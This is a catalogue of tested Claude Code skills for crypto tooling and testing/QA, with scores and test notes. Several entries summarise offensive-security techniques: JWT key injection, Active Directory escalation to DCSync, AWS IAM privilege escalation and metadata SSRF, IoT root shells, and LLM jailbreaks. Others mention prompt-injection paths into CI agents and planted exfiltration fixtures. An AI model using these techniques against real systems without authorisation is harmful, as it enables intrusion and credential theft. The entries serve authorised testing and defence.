- **Vly Money** [pass, 9.6/10] — Builds vly.money deep links for crypto sends and X402 paywalled-content redirects -- no execution, just correct URLs. Repo: https://github.com/zCloak-Network/vly-money-claude-skill. Card: https://skillproof.dev/skills/vly-money. What we found: Fed it 'send 0.01 USDC to <Solana address> on Solana' and it produced the exact deterministic vly.money URL per its own table; fed it an invalid pair (vUSD on Solana, which the table restricts to the vly network) and it correctly refused and asked for clarification instead of emitting a broken link -- the kind of guardrail a generic assistant with no vly.money knowledge can't reproduce from memory.
- **Quicknode Skill** [pass, 9.6/10] — Quicknode's own reference skill covering RPC, Streams, SQL Explorer, x402/MPP agent payments, CLI, MCP, and more. Repo: https://github.com/quiknode-labs/blockchain-skills. Card: https://skillproof.dev/skills/quicknode-skill. What we found: Asked it to wire up a keyless, wallet-paid x402 RPC call with no Quicknode API key. Baseline (general x402 knowledge only) got the protocol right but had to guess at Quicknode's actual gateway domain and package name; the skill-guided answer pulled the exact, verified specifics (package @quicknode/x402, baseUrl https://x402.quicknode.com, eip155 network IDs, $0.001/call pricing, testnet 1M-credit cap vs uncapped mainnet) plus its own explicit 'never accept private keys or secret keys' guard rail, straight from references/x402-reference.md.
- **Hyperliquid (ChainGPT)** [setup, 9.6/10] — Live read-only Hyperliquid mainnet data — markets, orderbook, account state, funding — via the ChainGPT MCP server. Repo: https://github.com/ChainGPT-org/chaingpt-claude-skill. Card: https://skillproof.dev/skills/hyperliquid. What we found: Built and ran the real mcp-server over stdio against live Hyperliquid mainnet endpoints — chaingpt_hl_funding's auto-annualized BTC rate (10.95%) matched an independent manual curl-plus-arithmetic baseline exactly; the skill folder alone is inert on its own since the plugin's mcp-server (a sibling of, not inside, skills/hyperliquid) must be separately built and registered.
- **Smart Contract Vulnerability Auditor** [setup, 9.2/10] — 4-phase Solidity vulnerability scan across 36 exploit classes (Solidity only). Repo: https://github.com/trailofbits/skills-curated. Card: https://skillproof.dev/skills/smart-contract-review. What we found: Ran it against a 4-function test vault seeded with 3 bugs: it caught the reentrancy in withdraw() (external call before balance update), the missing access control on setOwner(), and — only because the cheatsheet's grep-sweep phase forces a check of every .call( site — the easy-to-miss unchecked return in sendReward(). All three matched its own reference files' vulnerable-pattern examples almost verbatim. (Listed here under our older name; the skill's own name is "Smart Contract Vulnerability Auditor".)
- **Dune Sim Onchain Analytics** [setup, 9.2/10] — Dune Sim vs Dune Analytics SQL decision framework for wallet/token intelligence — guidance only, no bundled scripts. Repo: https://github.com/bastion-agentique/bastion. Card: https://skillproof.dev/skills/onchain-analytics. What we found: Correctly routes 'watch this wallet live' to Sim's realtime endpoints and 'analyze 90 days of swap volume' to Dune Analytics SQL, with an explicit fact-vs-inference caveat on wallet labels — but it's pure guidance with no bundled scripts, and real use needs a paid Dune Sim API key.
- **Wallet Security Review** [pass, 9.2/10] — Structured 8-section wallet security checklist: keys, approvals, signing, phishing, opsec, multisig, incident response. Repo: https://github.com/nirholas/three.ws. Card: https://skillproof.dev/skills/wallet-security-checklist. What we found: Fed it a MetaMask-with-photographed-seed-phrase-and-unlimited-approvals scenario and got back a structured 'Critical risk' verdict flagging the permit-signature exploit risk a generic answer missed, plus a prioritized, time-estimated action list.
- **Cosmos Vulnerability Scanner** [pass, 9.2/10] — Spawns parallel Cosmos SDK / CosmWasm scanners for chain-halt and fund-loss bugs across 54 documented patterns. Repo: https://github.com/trailofbits/skills. Card: https://skillproof.dev/skills/cosmos-vulnerability-scanner. What we found: Fed it a synthetic Cosmos rewards module with a map-iteration bug and an unvalidated msg_server payout; the skill's own pattern docs caught both plus a third bug a generic review missed (panic-on-error in EndBlock), each tagged with the exact fund-loss-vs-chain-halt severity class from the reference file. The claimed pattern counts (25 core / 16 IBC / 10 EVM / 3 CosmWasm) check out exactly against the scanner-role table in the SKILL.md itself.
- **Drift Protocol SDK Guide** [pass, 9.2/10] — Reference guide and code patterns for the Drift Protocol perp/spot/vault SDK on Solana. Repo: https://github.com/eugenepyvovarov/mcpbundler-agent-skills-marketplace. Card: https://skillproof.dev/skills/drift-protocol. What we found: Cross-checked the documented npm packages against the live registry -- @drift-labs/sdk and @coral-xyz/anchor are real, actively-published packages (unlike a sibling skill's broken pinned version) -- and every one of the 14 files the SKILL.md's own 'Skill Structure' tree lists (4 resources, 3 docs, 6 example READMEs, 1 template) actually exists in the repo.
- **Clone Contracts** [setup, 8.8/10] — Pulls verified Solidity source from Etherscan V2, resolves proxies, rewrites @-imports to relative paths. Repo: https://github.com/TheSchnilch/CloneContractsSkill. Card: https://skillproof.dev/skills/clone-contracts. What we found: Ran the core pipeline live on synthetic Etherscan-style JSON: it correctly split a multi-file source, rewrote an `@openzeppelin/...` import to the right relative `../lib/...` path, and laid out contracts/interfaces/lib exactly as documented. Real friction: SKILL.md itself says 'run ./setup.sh', which builds a venv and a ~/.local/bin wrapper and needs a free Etherscan API key — a plain folder copy does not give you a working `clone-external` command. Also caught a real bug: an invalid/missing API key crashes with `'str' object has no attribute 'get'` instead of a clean error.
- **Arbitrum DApp Skill** [pass, 8.8/10] — Exact cargo-stylus / Foundry / nitro-devnode commands for scaffolding, testing, and deploying Arbitrum Stylus + Solidity dApps. Repo: https://github.com/hummusonrails/arbitrum-dapp-skill. Card: https://skillproof.dev/skills/arbitrum-dapp-skill. What we found: Every command is copy-paste exact (cargo stylus new/check/deploy/export-abi, devnode port 8547, chain-id 412346) and it proactively surfaces two non-obvious footguns a generic-knowledge baseline missed entirely: Stylus's required post-deploy activation step and the devnode's missing CORS headers (which needs a Next.js proxy route for browser frontends).
- **Corsair** [setup, 8.4/10] — Turns scanner output into signed, verifiable compliance proofs (CPOEs) via the external Corsair CLI. Repo: https://github.com/grcorsair/corsair. Card: https://skillproof.dev/skills/corsair. What we found: Unusually disciplined security posture (explicit 'never install/exfiltrate/execute-remote-content without confirmation' guardrails baked into the skill body itself, and the documented CLI subcommands genuinely match real source files like src/parley/vc-generator.ts and scitt-registry.ts) — but every workflow needs the separate Corsair CLI + Bun runtime installed first, and the skill's own pointer to its reference doc ('skills/corsair/references/REFERENCE.md') 404s once the folder is installed standalone at ~/.claude/skills/corsair/ (the real path is just references/REFERENCE.md).
- **Auditor Skill** [pass, 8.4/10] — Solana/Anchor + multi-language security auditor with 1,346 checklist items Repo: https://github.com/solanabr/auditor-skill. Card: https://skillproof.dev/skills/auditor-skill. What we found: Audited a planted vulnerable Anchor withdraw handler with and without the skill: both runs caught the permissionless-drain (AccountInfo authority, no Signer type), but the checklist walk additionally surfaced the fake '/// CHECK' comment on an unvalidated destination account (AV-003/004) and the missing has_one authority linkage (AC-003/006) that the freeform baseline glossed, each tagged with a numeric 1-10 severity and item ID. The checklists are real and detailed (1,346 items across 20 files), though the 'benchmarked against CertiK/EY' banner claim is unverifiable marketing. Scanned install.sh and bundled scripts (report-to-pdf.sh, commit-msg hook): no exfil, no covert instructions, clean.
- **Arkham API** [setup, 8/10] — Curl+jq cookbook for the Arkham Intelligence blockchain-analytics API. Repo: https://github.com/Vyntral/arkham-intelligence-claude-skill. Card: https://skillproof.dev/skills/arkham-api. What we found: Live-tested against the real Arkham API: the skill's documented `API-Key:` header returns a real 'Could not verify API Key' response, while a naive `Authorization: Bearer` guess gets an unrelated 'sign up for an api key' error that isn't even recognized as an auth attempt — the skill's pattern is verified correct against a live baseline miss. But its own `ARKHAM_API_DOCUMENTATION.md` reference lives outside the copyable skill folder, and real use needs a paid Arkham key the SKILL.md doesn't flag.
- **Emblem AI Agent Wallet** [setup, 8/10] — Wallet-aware crypto assistant CLI wrapper with review-first, multi-chain balance/portfolio queries. Repo: https://github.com/EmblemCompany/Agent-skills. Card: https://skillproof.dev/skills/emblem-ai-agent-wallet. What we found: The Quick Start's exact pinned install command, `npm install -g @emblemvault/agentwallet@3.1.3`, 404s on the real npm registry -- only 3.1.0/3.2.0/3.2.1/3.3.0 exist (verified live) -- so a user following the doc literally can't install the CLI; the security write-up itself is unusually thorough, and the skill correctly refuses to act without an external EmblemVault account/browser auth.
- **Cloud IAM Deep** [setup, 7.2/10] — Chains cloud IAM attacks across AWS, Azure, and GCP to map privilege escalation. Repo: https://github.com/elementalsouls/Claude-BugHunter. Card: https://skillproof.dev/skills/cloud-iam-deep. What we found: Tested defensively as an AWS IAM audit aid on an inline policy with a planted iam:CreateAccessKey + iam:ListUsers on Resource:"*" privilege-escalation misconfiguration (no live cloud, no real credentials, no offensive tooling run). Verbatim single-skill copy install is clean: one self-contained SKILL.md, strict-YAML frontmatter, no broken references. In the A/B the skill correctly flagged the planted privesc as Critical with a scoped least-privilege fix, but the base arm (no skill) caught the exact same escalation chain and remediation and even added one secondary finding the skill missed, so the skill showed no measurable output lift on this defensive task.
- **Offensive JWT (defensive testing)** [setup, 7.2/10] — Runs JWT attack techniques like algorithm confusion and key injection for pentesting. Repo: https://github.com/SnailSploit/Claude-Red. Card: https://skillproof.dev/skills/offensive-jwt. What we found: Authorized-pentest/CTF JWT-security methodology skill (alg:none & RS256->HS256 confusion, weak-HMAC cracking, kid/jku/jwk header injection, mobile token storage), tested defensively on a locally-minted throwaway token pair with no external hosts and no weaponized tooling. Verbatim install is clean: single-file SKILL.md, strict-valid YAML frontmatter, no missing references; docs are accurate with only mild category-level overclaim. In the A/B, the skill and the no-skill base arm both correctly decoded the tokens and identified all three planted weaknesses (alg:none/unpinned algorithm, weak HS256 secret, missing iss/aud) with correct defensive fixes, so the skill added no measurable output lift on this task.
- **Idea Sprint** [setup, 7.2/10] — Structured crypto idea validation (interview, necessity gate, 3 scored candidates, go/no-go) - if you pull in its submodule. Repo: https://github.com/solanabr/solana-ai-kit. Card: https://skillproof.dev/skills/idea-sprint. What we found: Every reference doc and the 515-entry idea dataset the skill leans on live in a git submodule (ext/solana-new -> sendaifun/solana-new) that a plain `cp -r idea-sprint` install skips entirely - confirmed 404 on the stated in-repo path, 200 once fetched from the actual submodule source repo.

## Testing & QA (83 tested)
- **Screen Reader Testing** [pass, 9.6/10] — Screen reader testing playbook for VoiceOver, NVDA, and JAWS with ARIA fixes. Repo: https://github.com/wshobson/agents. Card: https://skillproof.dev/skills/screen-reader-testing. What we found: Given a modal with an icon-only close button and no dialog role, it produced the exact aria-label and role=dialog fixes plus concrete VoiceOver and NVDA test scripts a generic answer skipped entirely.
- **Skill Security Auditor** [pass, 9.6/10] — OWASP-mapped code/secrets/config audit with working bundled scan scripts Repo: https://github.com/eigent-ai/eigent. Card: https://skillproof.dev/skills/skill-security-auditor. What we found: Run against a 13-line file with SQL injection, command injection and a hardcoded API key, its scripts caught all three plus a missing .gitignore issue that a manual review missed.
- **Web Quality Audit** [pass, 9.6/10] — Lighthouse-style audit across Performance, Accessibility, SEO, and Best Practices with severity tiers. Repo: https://github.com/addyosmani/web-quality-skills. Card: https://skillproof.dev/skills/web-quality-audit. What we found: Auditing a deliberately broken test page, it caught the charset and mixed-content issues a flat review missed, tagging every finding with file:line and a concrete fix instead of a bare list.
- **OSINT Methodology** [pass, 9.6/10] — Structured 5-stage external recon methodology with confidence levels, severity rubric, and OpSec rules. Repo: https://github.com/elementalsouls/Claude-OSINT. Card: https://skillproof.dev/skills/osint-methodology. What we found: The companion `offensive-osint` skill it repeatedly points to for implementation detail actually exists in the same repo and loads clean; an authorized-recon mini-task run through it produced ROI-ranked pipeline stages, TENTATIVE/FIRM/CONFIRMED confidence tagging, and a WAF detection back-off ladder that a baseline answer never generated unprompted.
- **Jadx** [setup, 9.6/10] — APK decompile + a systematic grep checklist for secrets, weak crypto, SQLi, and WebView holes. Repo: https://github.com/BrownFineSecurity/iothackbot. Card: https://skillproof.dev/skills/jadx. What we found: Planted 6 realistic vulns (hardcoded API key/password, MD5 hashing, string-concat SQL rawQuery, JS-enabled WebView with addJavascriptInterface, MODE_WORLD_READABLE prefs) in a fake decompiled tree: an ad hoc baseline grep caught only 2, the skill's documented Workflow-1 checklist caught all 6. Note: no files are referenced from the SKILL.md itself, but the jadx binary + a JRE are required and are not bundled -- neither was available in this sandbox, so decompilation itself (as opposed to the post-decompile grep workflow) went untested.
- **Jtagprobe** [pass, 9.6/10] — SWD/JTAG debug-port pentest probe via a physical SEGGER J-Link, classifies OPEN/LOCKED/DEAD. Repo: https://github.com/BrownFineSecurity/iothackbot. Card: https://skillproof.dev/skills/jtagprobe. What we found: This is a real 195-line Python tool (not vaporware) wired to SEGGER's JLinkExe; fed it the sample DPIDR/all-0xFF readout from its own docs and it correctly reasoned LOCKED-not-erased (a successful halt plus valid CPUID rules out a blank/unfused chip) and cited the exact STM32 RDP register to check - a hardware-dependent tool that's upfront about needing a physical J-Link.
- **Swift Testing** [pass, 9.6/10] — Swift Testing patterns, test-double taxonomy, and migration guidance for @Test-based suites. Repo: https://github.com/bocato/swift-testing-agent-skill. Card: https://skillproof.dev/skills/swift-testing. What we found: Asked for a test suite for an email validator plus a repository mock: the skill version used @Suite/@Test parameterization across 3-4 inputs each, correctly renamed the naive 'MockUserRepository' to a 'SpyingStub' per Fowler's taxonomy, and placed it next to the protocol under #if DEBUG exactly as the skill mandates — the baseline used plain XCTest and mislabeled the stub as a mock.
- **Arize Dataset** [pass, 9.6/10] — CLI-driven Arize dataset CRUD, versioning, and export for LLM eval sets. Repo: https://github.com/github/awesome-copilot. Card: https://skillproof.dev/skills/arize-dataset. What we found: Produced exact `ax datasets create --file -` / `ax datasets append --json` syntax straight from the docs (right subcommand plurality, positional NAME_OR_ID, --space requirement) where a cold guess used plausible-sounding but wrong flags — a real, checkable syntax win even without a live Arize account to execute against.
- **SkillHone Synthesis** [pass, 9.6/10] — Turns tool exploration into hard, machine-gradable benchmark Q/A instead of trivia lookups. Repo: https://github.com/Tencent/SkillHone. Card: https://skillproof.dev/skills/skillhone-synthesis. What we found: Built a 6-employee toy dataset and compared a naive question ('what's E003's salary?', directly readable) against a skill-guided one ('among Engineering hires before 2022, excluding contractors, who has the second-highest salary?') that forces a real filter+exclude+rank chain and ships with an executable verification snippet — the difference between trivia and an actual eval item was concrete and reproducible.
- **Cypress Author** [pass, 9.6/10] — Writes, updates, and fixes Cypress E2E and component tests following house style rules. Repo: https://github.com/cypress-io/ai-toolkit. Card: https://skillproof.dev/skills/cypress-author. What we found: Same login-test request produced a hardcoded URL and a bare cy.wait(2000) without the skill; following its author-rules.md swapped in a relative baseUrl visit, data-cy selectors, and a timeout-based assertion instead of the sleep.
- **Flutter Tester** [pass, 9.6/10] — Flutter test patterns: layer isolation, Given-When-Then, Riverpod/Mockito/GetIt setup. Repo: https://github.com/Harishwarrior/flutter-claude-skills. Card: https://skillproof.dev/skills/flutter-tester. What we found: Baseline widget test (written without the skill) mocked the Riverpod provider directly and skipped GetIt.reset in tearDown — exactly the two entries at the top of the skill's own 'Common Mistakes' table — and the skill-guided rewrite fixed both without being told to.
- **Mk Agent Browser** [pass, 9.6/10] — Drives the agent-browser CLI for real Chrome automation with accessibility-tree refs and an auth vault. Repo: https://github.com/ngocsangyem/MeowKit. Card: https://skillproof.dev/skills/mk-agent-browser. What we found: Ran the real agent-browser CLI (npm i agent-browser) end to end against a local throwaway page: open, snapshot -i, click, and an eval confirmed the DOM actually mutated to 'clicked!' — the skill's own warning about refs going stale after navigation bit me mid-test exactly as documented.
- **Add LLM Evals** [pass, 9.6/10] — Playbook for wiring reference-based + LLM-as-judge evals into CI, with judge-calibration steps and named anti-patterns. Repo: https://github.com/ContextJet-ai/awesome-llm-observability. Card: https://skillproof.dev/skills/add-llm-evals. What we found: On 'help me add evals to my RAG chatbot for CI', the baseline free-hand answer was four vague bullet points ('write some tests', 'consider using an LLM to grade'); the skill run named the RAG-specific Ragas quartet, gave a runnable promptfoo config with a CI-gating exit code, and added the judge-calibration step (hand-label ~30 examples, check agreement) the baseline never mentioned.
- **Playwright Automation Expert** [pass, 9.6/10] — Playwright E2E test architecture, POM, flaky-test debugging, and REST API testing. Repo: https://github.com/jmr85/e2e-agent-skills. Card: https://skillproof.dev/skills/playwright-automation-expert. What we found: Ran the bundled scaffold.mjs for real in a throwaway dir — it created the exact tests/pages/fixtures layout and .gitignore entries it promises, nothing more. Skill-guided login test swapped brittle #id/.class selectors and waitForTimeout for role-based locators and toHaveURL auto-wait assertions, both explicit MUST-NOT/MUST-DO items in its own body.
- **Concept Drill** [pass, 9.6/10] — Diagnoses your weakest sub-concept, drills it live via predict/break/confirm, leaves a tracker. Repo: https://github.com/Wamikmk/concept-drill. Card: https://skillproof.dev/skills/concept-drill. What we found: The trigger/anti-trigger boundary is unusually precise (explicitly refuses 'teach me X') and the drill loop (predict before reveal, drop-down-to-prerequisite on stall, honest wobbly/shaky/fluent grading) produced a genuinely diagnostic session in testing, not a generic quiz — the only wrinkle is it targets claude.ai's file/present_files environment, so Claude Code just writes the tracker/exercise files to the working directory instead of /mnt/user-data/outputs/.
- **Auto Itera** [pass, 9.6/10] — Runs a disciplined baseline-vs-arms experiment to a sealed-test-set ship-or-kill verdict Repo: https://github.com/clfhaha1234/auto-itera. Card: https://skillproof.dev/skills/auto-itera. What we found: Ran a real toy experiment (24 synthetic receipt rows, two vendor-extraction heuristics) two ways: the naive baseline scored both arms on all 24 rows and picked a winner from that single contaminated number, exactly the p-hacking anti-pattern the skill calls out; the skill-guided run enforced a real train/dev/sealed-test split, a Phase-3 pilot, per-slice diagnosis, and a genuine held-out pass - then rendered real PNGs with the bundled scripts/chart.py (matplotlib, executed for real, all three chart types produced valid images). The tiny N=5 test set landed the effect exactly at the pre-registered threshold, which is itself a live demonstration of the skill's own sizing-heuristic warning.
- **Repo Forensics** [pass, 9.6/10] — Offline security scanner for repos, AI skills, plugins, and MCP servers Repo: https://github.com/alexgreensh/repo-forensics. Card: https://skillproof.dev/skills/repo-forensics. What we found: Ran the bundled scanner live against a repo with a planted curl-pipe-to-shell exfil, a base64 exec payload, a prompt-injection SKILL.md and a committed .env: it returned 17 findings across 27 scanners, 9 CRITICAL, a deterministic BLOCK verdict and exit code 2, correctly correlating the credential-theft and exfiltration chains. The same scanner returned zero findings on a clean directory, so it earns its verdict rather than crying wolf, and works fully offline with hardened HTTPS-only threat-intel fetch.
- **Agentic Actions Auditor** [pass, 9.2/10] — Static-audits GitHub Actions workflows for prompt-injection paths into Claude/Gemini/Codex CI agents Repo: https://github.com/trailofbits/skills. Card: https://skillproof.dev/skills/agentic-actions-auditor. What we found: Given a workflow with wildcard permissions and env-var-sourced issue content, an unguided review caught the obvious flags but missed how the env var and prompt actually connect; the skill traced the full chain.
- **APK Red Team Pipeline** [pass, 9.2/10] — End-to-end Android APK acquisition, decompile, and secret-extraction pipeline for authorized red-team work. Repo: https://github.com/elementalsouls/Claude-BugHunter. Card: https://skillproof.dev/skills/apk-redteam-pipeline. What we found: For an extraction-plan task it produced a real regex catalog for leaked keys (AWS, Firebase, GitHub, API tokens) and explicit anti-patterns like not trusting expired JWTs, well beyond a generic 4-step checklist.
- **Playwright Skill** [pass, 9.2/10] — Custom Playwright browser automation with dev-server auto-detection and safe /tmp scripts Repo: https://github.com/lackeyjb/playwright-skill. Card: https://skillproof.dev/skills/playwright-skill. What we found: An unguided script wrote straight into the project directory with no error handling; the skill version wrote only to /tmp, defaulted to headless off, and wrapped the run in try/catch/finally.
- **Offensive Active Directory** [pass, 9.2/10] — AD red-team methodology: Kerberoasting to ADCS ESC1-15 to DCSync, for authorized engagements Repo: https://github.com/SnailSploit/Claude-Red. Card: https://skillproof.dev/skills/offensive-active-directory. What we found: For an ADCS ESC1 escalation, recall got the concept right but was fuzzy on exact syntax; the doc gave exact certipy command lines and a full misconfig table, though one of its own source links no longer resolves.
- **Bug Capture** [pass, 9.2/10] — Turns bug reports into clean, path-free GitHub issues that survive refactors. Repo: https://github.com/rohitg00/pro-workflow. Card: https://skillproof.dev/skills/bug-capture. What we found: Ran a synthetic QA report through the skill and got a tight four-section issue with zero code references; the unguided baseline draft guessed at a hardcoded row limit and a CSV-writer buffer bug — exactly the kind of detail that goes stale the next time someone refactors the export path.
- **Agent Verifier (Verification)** [setup, 9.2/10] — Orchestrated security/pattern/quality/language audit for AI agent code, with pattern-vs-heuristic tagging. Repo: https://github.com/Aurite-ai/agent-verifier. Card: https://skillproof.dev/skills/verification. What we found: Fed it a planted agent.py (hardcoded sk-live key, a system prompt promising a nonexistent `execute_sql` tool); it caught both exactly per its own report template, but also flagged a while-True loop purely for lacking a literal `break` keyword even though a `return` inside it does exit cleanly — the pattern check is stricter than the actual bug it's hunting.
- **IoT UART Console (Picocom)** [pass, 9.2/10] — Pentest IoT UART consoles via picocom: enumerate, hit bootloaders, gain root shells. Repo: https://github.com/BrownFineSecurity/picocom-claude-skill. Card: https://skillproof.dev/skills/iot-uart-console-picocom. What we found: Ships a real serial_helper.py (confirmed present) that cleans echoes/prompts and logs sessions to /tmp/serial_session.log; the SKILL.md itself doubles as a solid embedded-pentest checklist (baud ladder, BusyBox fingerprinting, U-Boot bootargs injection) rather than just a picocom cheat-sheet. Tested defensively only, no physical UART target attached.
- **Delphi TDD and DUnitX** [pass, 9.2/10] — Enforces strict Red-Green-Refactor TDD with DUnitX, fakes-via-interface, and naming conventions in Delphi. Repo: https://github.com/delphicleancode/delphi-spec-kit. Card: https://skillproof.dev/skills/delphi-test-driven-development-tdd-and-dunitx. What we found: Asked it to build a discount calculator with TDD: it refused to write the implementation first, wrote a failing DUnitX test against a stub method, injected a hand-rolled TFakeCustomer implementing ICustomer instead of touching a concrete class, then filled in the minimal Green implementation -- exactly the Red-Green-Refactor order the baseline skipped straight past.
- **Research Proof** [pass, 9.2/10] — Forces research and benchmark claims through a frozen-verifier proof ladder instead of confident prose. Repo: https://github.com/tonyblu331/research-proof. Card: https://skillproof.dev/skills/research-proof. What we found: Ran a real production-latency claim through both paths: the skill version forced an independent-evaluator check and a randomization rejection-gate the freeform baseline never raised, then correctly downgraded the verdict from an informal 'strongly supported' to the disciplined SUPPORTED label.
- **Plugin Release Checker** [setup, 9.2/10] — Real Python validator for Claude Code plugin-marketplace repos — catches broken links and missing metadata. Repo: https://github.com/joaquimscosta/arkhe-claude-plugins. Card: https://skillproof.dev/skills/plugin-release-checker. What we found: Actually ran it against a throwaway plugins/ repo with 5 planted defects and it caught all 5 (missing marketplace 'source' field, a broken README link, a frontmatter description missing the 'Use when...' convention, a too-short marketplace blurb, a missing CHANGELOG) — but one of its 6 advertised checks (skill-validator) silently degrades to a warning because that validator lives in a separate sibling skill folder not included in a standalone install.
- **HealthSim** [pass, 9.2/10] — Generates synthetic patients, claims, and pharmacy data in FHIR/HL7v2/X12/NCPDP for EMR test systems. Repo: https://github.com/mark64oswald/healthsim-workspace. Card: https://skillproof.dev/skills/healthsim. What we found: Clean, well-scoped medical-data skill with a real synthetic-only disclaimer; the catch is the 'install path' is the whole 23MB/1045-file monorepo (Docker files, deploy scripts, a checked-in DuckDB binary) since the root SKILL.md's relative links reach sibling skills/ formats/ references/ dirs at repo root — a naive cp -r drags all of that in.
- **API Tester** [pass, 9.2/10] — Generates API tests from real OpenAPI + route code, never guesses status codes Repo: https://github.com/laolaoshiren/claude-code-skills-zh. Card: https://skillproof.dev/skills/api-tester. What we found: Assembled a real Express project with an intentional discrepancy between spec and code: openapi.yaml promised POST /users → 201, 400, and 401, but app.js actually returned 200 and 422, and 401 was unreachable (no auth-middleware or security scheme). Baseline set, generated from spec in the usual way, yielded 2 pass / 3 fail on `node --test`: expected 201 — got 200, expected 400 — got 422, expected 401 — got 200. SKILL.md set yielded 4 pass / 0 fail: the skill reads the implementation as the source of truth, asserts only truly reachable paths, and reports the three discrepancies instead of freezing them as falsely failing tests; it did not generate a test for 401 at all, following the rule 'do not assume every endpoint must return 400/401/403/404'. Stage 0 clean: a single SKILL.md without scripts, network, or exfiltration. The skill is entirely in Chinese — reports and test titles are in Chinese, which is friction for an English-speaking team; there is no automation in it, it's a disciplinary checklist.
- **PICT Test Designer** [pass, 9.2/10] — Turns multi-parameter requirements into pairwise PICT models and test tables Repo: https://github.com/omkamal/pypict-claude-skill. Card: https://skillproof.dev/skills/pict-test-designer. What we found: Designed tests for a 5-parameter file-upload endpoint both ways, then measured 2-way coverage with a real Microsoft PICT binary built from source. Hand-written baseline: 8 test cases covering 42 of 67 parameter pairs (62.7%), silently missing every exe+infected, exe+oversize and expired-auth-on-local combination. Following the skill's model-then-constrain workflow: 11 test cases covering 66 of 67 pairs (98.5%) — the one gap being the pair its own constraint legitimately excludes, so 100% of legal pairs for three extra tests. The bundled pict_helper.py generates and formats models correctly, though the troubleshooting line 'pip install pypict' fails on a clean machine with a Cython build error.
- **Backpropagation** [pass, 9.2/10] — Trace a runtime bug back to the spec gap, close it, and generate a fail-first regression test Repo: https://github.com/LucasDuys/forge. Card: https://skillproof.dev/skills/backpropagation. What we found: Built a real scenario (spec R001 'user registration' + a register() that let 'Alice@x.com' and 'alice@x.com' both through) and ran the skill's loop end-to-end: it traced to a missing_criterion, proposed a testable duplicate-casing criterion, and the regression test it specified failed against the buggy code (exit 1) then passed after the case-normalization fix (exit 0). A no-skill baseline just patches toLowerCase and moves on, leaving no spec criterion, no durable test, and no pattern log to catch the next casing/whitespace variant.
- **AI Evals** [pass, 9.2/10] — Turn a fuzzy LLM feature into a golden set, rubric, judge plan and ship/no-ship threshold Repo: https://github.com/liqiongyu/lenny_skills_plus. Card: https://skillproof.dev/skills/ai-evals. What we found: Asked both baseline and skill to design evals for a support-reply assistant (no PII leakage, must cite KB, must refuse unsafe requests). Baseline produced ad-hoc 'try 10 tickets and eyeball it'; the skill delivered a decision-anchored pack with a ship/no-ship threshold, >=2 cases per target behavior including adversarial/safety tags, a severity-weighted error taxonomy, a rubric with concrete anchors and tie-breakers, and judge calibration plus a regression loop. Its references (RUBRIC, TEMPLATES, CHECKLISTS) are real substance, not stubs, and the repo even ships its own with-skill/without-skill showcase.
- **Webapp Testing** [pass, 8.8/10] — Claude drives your web app in a real browser and reports what breaks. Repo: https://github.com/anthropics/skills. Card: https://skillproof.dev/skills/webapp-testing. What we found: Drove a local app through signup, checkout and error flows via Playwright; caught a real regression our unit tests missed.
- **CTF AI/ML** [setup, 8.8/10] — CTF reference for ML attacks: model weight tricks, adversarial examples, LLM jailbreaks. Repo: https://github.com/ljagiello/ctf-skills. Card: https://skillproof.dev/skills/ctf-ai-ml. What we found: Gave the exact closed-form fix (2xW_orig - W_chal) with runnable code for recovering a suppressed flag, well beyond diffing weights by hand. It's marked non-invocable alone, so installing just this folder may never fire.
- **Academic Experiments** [setup, 8.8/10] — Audits ML experiments, blocking unverified numbers before a paper draft cites them. Repo: https://github.com/joshua-zyy/academic-paper-writer. Card: https://skillproof.dev/skills/academic-experiments. What we found: Ran it against a toy repo whose README claims '92% accuracy' with a results.json but a train.py that only prints a placeholder and never actually trains anything; the skill's stance/red-lines rules correctly refuse to write that number as fact and instead force a [RESULT_UNVERIFIED] placeholder plus a Protocol Risks note about missing provenance, where a naive baseline just wrote the 92% into the results paragraph as given.
- **Dev Test** [setup, 8.8/10] — Runs the project's configured test command and writes a SHA-pinned pass/fail record other Hermit commands gate on. Repo: https://github.com/gtapps/claude-code-hermit. Card: https://skillproof.dev/skills/dev-test. What we found: Traced the actual record-test-result.ts source: the SKILL.md's stderr string 'commands.test not configured' is a byte-for-byte match to the script's real error message, and failed runs get auto-tagged with a likely_cause (oom/timeout/user-interrupt) inferred from the exit code — a diagnostic touch a naive `npm test` baseline wouldn't give you.
- **AWS Penetration Testing** [pass, 8.8/10] — AWS red-team cheat sheet: IAM privesc paths, metadata SSRF (incl. IMDSv2), S3/Lambda exploitation, persistence. Repo: https://github.com/zebbern/claude-code-guide. Card: https://skillproof.dev/skills/aws-penetration-testing. What we found: A structured AWS red-team cheat sheet, not just prose: its 'Shadow Admin Permissions' table (iam:PutUserPolicy, iam:PassRole+ec2:RunInstances, lambda:UpdateFunctionCode) and the IMDSv1-vs-IMDSv2-token metadata dance are concrete techniques a memory-only answer left vague or skipped, and the skill still bakes in a written-authorization/no-persistent-backdoors constraints block.
- **Chaos Engineer** [pass, 8.8/10] — Chaos experiment design with runnable Litmus/Chaos Monkey manifests and a rollback safety checklist. Repo: https://github.com/Jeffallan/claude-skills. Card: https://skillproof.dev/skills/chaos-engineer. What we found: The skill hands over a working `kubectl patch chaosengine ... engineState: stop` abort command and a Litmus ChaosEngine manifest capped at PODS_AFFECTED_PERC=33 with a 60s TOTAL_CHAOS_DURATION — a runnable safety net that a memory-only chaos-engineering answer for the same request only described in prose without a tested rollback path.
- **Pulser** [setup, 8.8/10] — Lints SKILL.md files against 8 rules and auto-fixes the safe ones, with backup and undo. Repo: https://github.com/TheStack-ai/pulser. Card: https://skillproof.dev/skills/pulser. What we found: Built the real CLI from source and ran it against two planted fixture skills: it correctly flagged the vague 'does stuff' skill for a too-short/no-trigger description, missing Gotchas, and missing allowed-tools (score 83/100), left the well-formed skill untouched, then --fix genuinely edited the file in place (added a Gotchas TODO + allowed-tools) with a timestamped backup, and `pulser undo` restored the original byte-for-byte — every documented capability checked out live. Caveat: `npm install` (even a local/dev install, not just -g) silently wrote a companion SKILL.md into the real ~/.claude/skills/pulser/ via a postinstall hook with no confirmation prompt — disclosed in the README's prose but not flagged as an install-time side effect; cleaned it up immediately.
- **Backend Validation** [pass, 8.8/10] — Hurl + websocat + oauth2c workflow for validating OIDC-authenticated backend APIs and WebSockets. Repo: https://github.com/johnkozaris/jko-claude-plugins. Card: https://skillproof.dev/skills/backend-validation. What we found: Ran the actual A/B: a hand-written curl+jq bash validator vs. the skill's Hurl file with [Captures]/[Asserts], both executed live against a throwaway local HTTP server — the Hurl version is roughly half the code, declaratively chains the session id, and its companion token-script.sh sidesteps the ROPC failure mode the skill warns about (public PKCE clients reject password grant against real IdPs like Authentik).
